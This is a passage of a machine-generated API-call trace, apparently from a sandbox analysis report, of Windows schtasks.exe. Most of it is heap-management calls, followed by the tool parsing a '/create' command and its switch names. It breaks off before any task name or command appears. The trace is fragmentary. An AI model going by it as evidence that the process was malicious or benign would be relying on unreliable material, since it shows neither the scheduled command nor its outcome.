[0160.691] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d4e0 | out: hHeap=0x400000) returned 1 [0160.691] GetProcessHeap () returned 0x400000 [0160.691] GetProcessHeap () returned 0x400000 [0160.691] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc60) returned 1 [0160.691] GetProcessHeap () returned 0x400000 [0160.691] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cc60) returned 0x20 [0160.691] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc60 | out: hHeap=0x400000) returned 1 [0160.691] GetProcessHeap () returned 0x400000 [0160.691] GetProcessHeap () returned 0x400000 [0160.692] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41dcb0) returned 1 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41dcb0) returned 0x8 [0160.692] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41dcb0 | out: hHeap=0x400000) returned 1 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc90) returned 1 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cc90) returned 0x20 [0160.692] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc90 | out: hHeap=0x400000) returned 1 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41dcd0) returned 1 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41dcd0) returned 0x4 [0160.692] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41dcd0 | out: hHeap=0x400000) returned 1 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] GetProcessHeap () returned 0x400000 [0160.692] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ccc0) returned 1 [0160.692] GetProcessHeap () returned 0x400000 [0160.693] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ccc0) returned 0x20 [0160.693] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ccc0 | out: hHeap=0x400000) returned 1 [0160.693] GetProcessHeap () returned 0x400000 [0160.693] GetProcessHeap () returned 0x400000 [0160.693] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41dcf0) returned 1 [0160.693] GetProcessHeap () returned 0x400000 [0160.693] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41dcf0) returned 0x8 [0160.693] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41dcf0 | out: hHeap=0x400000) returned 1 [0160.693] GetProcessHeap () returned 0x400000 [0160.693] GetProcessHeap () returned 0x400000 [0160.693] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ccf0) returned 1 [0160.693] GetProcessHeap () returned 0x400000 [0160.693] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ccf0) returned 0x20 [0160.694] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ccf0 | out: hHeap=0x400000) returned 1 [0160.694] GetProcessHeap () returned 0x400000 [0160.694] GetProcessHeap () returned 0x400000 [0160.694] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x419360) returned 1 [0160.694] GetProcessHeap () returned 0x400000 [0160.694] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x419360) returned 0x3e [0160.694] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x419360 | out: hHeap=0x400000) returned 1 [0160.694] GetProcessHeap () returned 0x400000 [0160.695] GetProcessHeap () returned 0x400000 [0160.695] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd20) returned 1 [0160.695] GetProcessHeap () returned 0x400000 [0160.695] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cd20) returned 0x20 [0160.695] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd20 | out: hHeap=0x400000) returned 1 [0160.695] GetProcessHeap () returned 0x400000 [0160.695] GetProcessHeap () returned 0x400000 [0160.695] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41dd10) returned 1 [0160.695] GetProcessHeap () returned 0x400000 [0160.695] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41dd10) returned 0x8 [0160.696] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41dd10 | out: hHeap=0x400000) returned 1 [0160.696] GetProcessHeap () returned 0x400000 [0160.696] GetProcessHeap () returned 0x400000 [0160.696] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd50) returned 1 [0160.696] GetProcessHeap () returned 0x400000 [0160.696] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cd50) returned 0x20 [0160.696] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd50 | out: hHeap=0x400000) returned 1 [0160.696] GetProcessHeap () returned 0x400000 [0160.696] GetProcessHeap () returned 0x400000 [0160.696] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d560) returned 1 [0160.696] GetProcessHeap () returned 0x400000 [0160.696] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d560) returned 0x10 [0160.696] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d560 | out: hHeap=0x400000) returned 1 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd80) returned 1 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cd80) returned 0x20 [0160.697] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd80 | out: hHeap=0x400000) returned 1 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41dd30) returned 1 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41dd30) returned 0x6 [0160.697] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41dd30 | out: hHeap=0x400000) returned 1 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cdb0) returned 1 [0160.697] GetProcessHeap () returned 0x400000 [0160.697] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cdb0) returned 0x20 [0160.698] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cdb0 | out: hHeap=0x400000) returned 1 [0160.698] GetProcessHeap () returned 0x400000 [0160.698] GetProcessHeap () returned 0x400000 [0160.698] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41b990) returned 1 [0160.698] GetProcessHeap () returned 0x400000 [0160.698] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41b990) returned 0x18 [0160.698] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41b990 | out: hHeap=0x400000) returned 1 [0160.698] SetLastError (dwErrCode=0x0) [0160.698] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0160.698] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0160.698] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0160.698] VerifyVersionInfoW (in: lpVersionInformation=0x25c470, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25c470) returned 1 [0160.699] SetLastError (dwErrCode=0x0) [0160.699] lstrlenW (lpString="create") returned 6 [0160.699] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0160.699] SetLastError (dwErrCode=0x490) [0160.699] SetLastError (dwErrCode=0x0) [0160.699] lstrlenW (lpString="create") returned 6 [0160.699] GetProcessHeap () returned 0x400000 [0160.699] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cdb0 [0160.699] GetProcessHeap () returned 0x400000 [0160.699] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41d560 [0160.699] _memicmp (_Buf1=0x41d560, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.699] GetProcessHeap () returned 0x400000 [0160.699] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x16) returned 0x41d4e0 [0160.699] SetLastError (dwErrCode=0x0) [0160.699] _memicmp (_Buf1=0x41ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.699] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x41bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0160.699] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0160.700] GetProcessHeap () returned 0x400000 [0160.700] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x74e) returned 0x41dc90 [0160.700] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x41dc90 | out: lpData=0x41dc90) returned 1 [0160.700] VerQueryValueW (in: pBlock=0x41dc90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25c558, puLen=0x25c5c0 | out: lplpBuffer=0x25c558*=0x41e02c, puLen=0x25c5c0) returned 1 [0160.700] _memicmp (_Buf1=0x41ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.700] _vsnwprintf (in: _Buffer=0x41bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25c538 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0160.700] VerQueryValueW (in: pBlock=0x41dc90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25c5c8, puLen=0x25c5b8 | out: lplpBuffer=0x25c5c8*=0x41de58, puLen=0x25c5b8) returned 1 [0160.700] lstrlenW (lpString="schtasks.exe") returned 12 [0160.700] lstrlenW (lpString="schtasks.exe") returned 12 [0160.701] lstrlenW (lpString=".EXE") returned 4 [0160.701] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0160.701] lstrlenW (lpString="schtasks.exe") returned 12 [0160.701] lstrlenW (lpString=".EXE") returned 4 [0160.701] lstrlenW (lpString="schtasks") returned 8 [0160.701] lstrlenW (lpString="/create") returned 7 [0160.701] _memicmp (_Buf1=0x41ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.701] _vsnwprintf (in: _Buffer=0x41bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x25c538 | out: _Buffer="schtasks /create") returned 16 [0160.701] _memicmp (_Buf1=0x41ba70, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.701] GetProcessHeap () returned 0x400000 [0160.701] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cd80 [0160.701] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.701] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0160.701] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0160.701] GetProcessHeap () returned 0x400000 [0160.701] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x30) returned 0x417a90 [0160.701] _vsnwprintf (in: _Buffer=0x41bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25c538 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0160.701] GetProcessHeap () returned 0x400000 [0160.701] GetProcessHeap () returned 0x400000 [0160.701] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41dc90) returned 1 [0160.701] GetProcessHeap () returned 0x400000 [0160.701] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41dc90) returned 0x74e [0160.702] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41dc90 | out: hHeap=0x400000) returned 1 [0160.702] SetLastError (dwErrCode=0x0) [0160.702] GetThreadLocale () returned 0x409 [0160.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.702] lstrlenW (lpString="create") returned 6 [0160.702] GetThreadLocale () returned 0x409 [0160.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.702] lstrlenW (lpString="?") returned 1 [0160.702] GetThreadLocale () returned 0x409 [0160.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.702] lstrlenW (lpString="s") returned 1 [0160.702] GetThreadLocale () returned 0x409 [0160.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.702] lstrlenW (lpString="u") returned 1 [0160.702] GetThreadLocale () returned 0x409 [0160.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.702] lstrlenW (lpString="p") returned 1 [0160.702] GetThreadLocale () returned 0x409 [0160.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.702] lstrlenW (lpString="ru") returned 2 [0160.703] GetThreadLocale () returned 0x409 [0160.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.703] lstrlenW (lpString="rp") returned 2 [0160.703] GetThreadLocale () returned 0x409 [0160.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.703] lstrlenW (lpString="sc") returned 2 [0160.703] GetThreadLocale () returned 0x409 [0160.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.703] lstrlenW (lpString="mo") returned 2 [0160.703] GetThreadLocale () returned 0x409 [0160.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.703] lstrlenW (lpString="d") returned 1 [0160.703] GetThreadLocale () returned 0x409 [0160.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.703] lstrlenW (lpString="m") returned 1 [0160.703] GetThreadLocale () returned 0x409 [0160.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.703] lstrlenW (lpString="i") returned 1 [0160.703] GetThreadLocale () returned 0x409 [0160.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.703] lstrlenW (lpString="tn") returned 2 [0160.703] GetThreadLocale () returned 0x409 [0160.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.703] lstrlenW (lpString="tr") returned 2 [0160.703] GetThreadLocale () returned 0x409 [0160.706] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.706] lstrlenW (lpString="st") returned 2 [0160.706] GetThreadLocale () returned 0x409 [0160.706] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.706] lstrlenW (lpString="sd") returned 2 [0160.706] GetThreadLocale () returned 0x409 [0160.706] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.706] lstrlenW (lpString="ed") returned 2 [0160.706] GetThreadLocale () returned 0x409 [0160.706] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.706] lstrlenW (lpString="it") returned 2 [0160.706] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="et") returned 2 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="k") returned 1 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="du") returned 2 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="ri") returned 2 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="z") returned 1 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="f") returned 1 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="v1") returned 2 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="xml") returned 3 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.707] lstrlenW (lpString="ec") returned 2 [0160.707] GetThreadLocale () returned 0x409 [0160.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.708] lstrlenW (lpString="rl") returned 2 [0160.708] GetThreadLocale () returned 0x409 [0160.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.708] lstrlenW (lpString="delay") returned 5 [0160.708] GetThreadLocale () returned 0x409 [0160.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.708] lstrlenW (lpString="np") returned 2 [0160.708] SetLastError (dwErrCode=0x0) [0160.708] SetLastError (dwErrCode=0x0) [0160.708] lstrlenW (lpString="/create") returned 7 [0160.708] lstrlenW (lpString="-/") returned 2 [0160.708] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.708] lstrlenW (lpString="create") returned 6 [0160.708] lstrlenW (lpString="create") returned 6 [0160.708] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.708] lstrlenW (lpString="create") returned 6 [0160.708] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.708] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|create|") returned 8 [0160.708] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|create|") returned 8 [0160.708] lstrlenW (lpString="|create|") returned 8 [0160.708] lstrlenW (lpString="|create|") returned 8 [0160.708] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0160.708] SetLastError (dwErrCode=0x0) [0160.708] SetLastError (dwErrCode=0x0) [0160.709] SetLastError (dwErrCode=0x0) [0160.709] lstrlenW (lpString="/tn") returned 3 [0160.709] lstrlenW (lpString="-/") returned 2 [0160.709] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.709] lstrlenW (lpString="create") returned 6 [0160.709] lstrlenW (lpString="create") returned 6 [0160.709] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.709] lstrlenW (lpString="tn") returned 2 [0160.709] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.709] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|create|") returned 8 [0160.709] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.709] lstrlenW (lpString="|create|") returned 8 [0160.709] lstrlenW (lpString="|tn|") returned 4 [0160.709] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0160.709] SetLastError (dwErrCode=0x490) [0160.709] lstrlenW (lpString="?") returned 1 [0160.709] lstrlenW (lpString="?") returned 1 [0160.709] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.709] lstrlenW (lpString="tn") returned 2 [0160.709] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.709] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|?|") returned 3 [0160.709] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.709] lstrlenW (lpString="|?|") returned 3 [0160.709] lstrlenW (lpString="|tn|") returned 4 [0160.709] SetLastError (dwErrCode=0x490) [0160.710] lstrlenW (lpString="s") returned 1 [0160.710] lstrlenW (lpString="s") returned 1 [0160.710] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.710] lstrlenW (lpString="tn") returned 2 [0160.710] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.710] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|s|") returned 3 [0160.710] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.710] lstrlenW (lpString="|s|") returned 3 [0160.710] lstrlenW (lpString="|tn|") returned 4 [0160.710] SetLastError (dwErrCode=0x490) [0160.710] lstrlenW (lpString="u") returned 1 [0160.710] lstrlenW (lpString="u") returned 1 [0160.710] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.710] lstrlenW (lpString="tn") returned 2 [0160.710] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.710] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|u|") returned 3 [0160.710] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.710] lstrlenW (lpString="|u|") returned 3 [0160.710] lstrlenW (lpString="|tn|") returned 4 [0160.710] SetLastError (dwErrCode=0x490) [0160.710] lstrlenW (lpString="p") returned 1 [0160.710] lstrlenW (lpString="p") returned 1 [0160.710] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.710] lstrlenW (lpString="tn") returned 2 [0160.710] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.711] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|p|") returned 3 [0160.711] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.711] lstrlenW (lpString="|p|") returned 3 [0160.711] lstrlenW (lpString="|tn|") returned 4 [0160.711] SetLastError (dwErrCode=0x490) [0160.711] lstrlenW (lpString="ru") returned 2 [0160.711] lstrlenW (lpString="ru") returned 2 [0160.711] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.711] lstrlenW (lpString="tn") returned 2 [0160.711] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.711] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ru|") returned 4 [0160.711] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.711] lstrlenW (lpString="|ru|") returned 4 [0160.711] lstrlenW (lpString="|tn|") returned 4 [0160.711] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0160.711] SetLastError (dwErrCode=0x490) [0160.711] lstrlenW (lpString="rp") returned 2 [0160.711] lstrlenW (lpString="rp") returned 2 [0160.711] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.711] lstrlenW (lpString="tn") returned 2 [0160.711] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.711] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rp|") returned 4 [0160.711] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.711] lstrlenW (lpString="|rp|") returned 4 [0160.712] lstrlenW (lpString="|tn|") returned 4 [0160.712] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0160.712] SetLastError (dwErrCode=0x490) [0160.712] lstrlenW (lpString="sc") returned 2 [0160.712] lstrlenW (lpString="sc") returned 2 [0160.712] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.712] lstrlenW (lpString="tn") returned 2 [0160.712] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.712] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.712] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.712] lstrlenW (lpString="|sc|") returned 4 [0160.712] lstrlenW (lpString="|tn|") returned 4 [0160.712] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0160.712] SetLastError (dwErrCode=0x490) [0160.712] lstrlenW (lpString="mo") returned 2 [0160.712] lstrlenW (lpString="mo") returned 2 [0160.712] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.712] lstrlenW (lpString="tn") returned 2 [0160.712] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.712] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.712] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.712] lstrlenW (lpString="|mo|") returned 4 [0160.712] lstrlenW (lpString="|tn|") returned 4 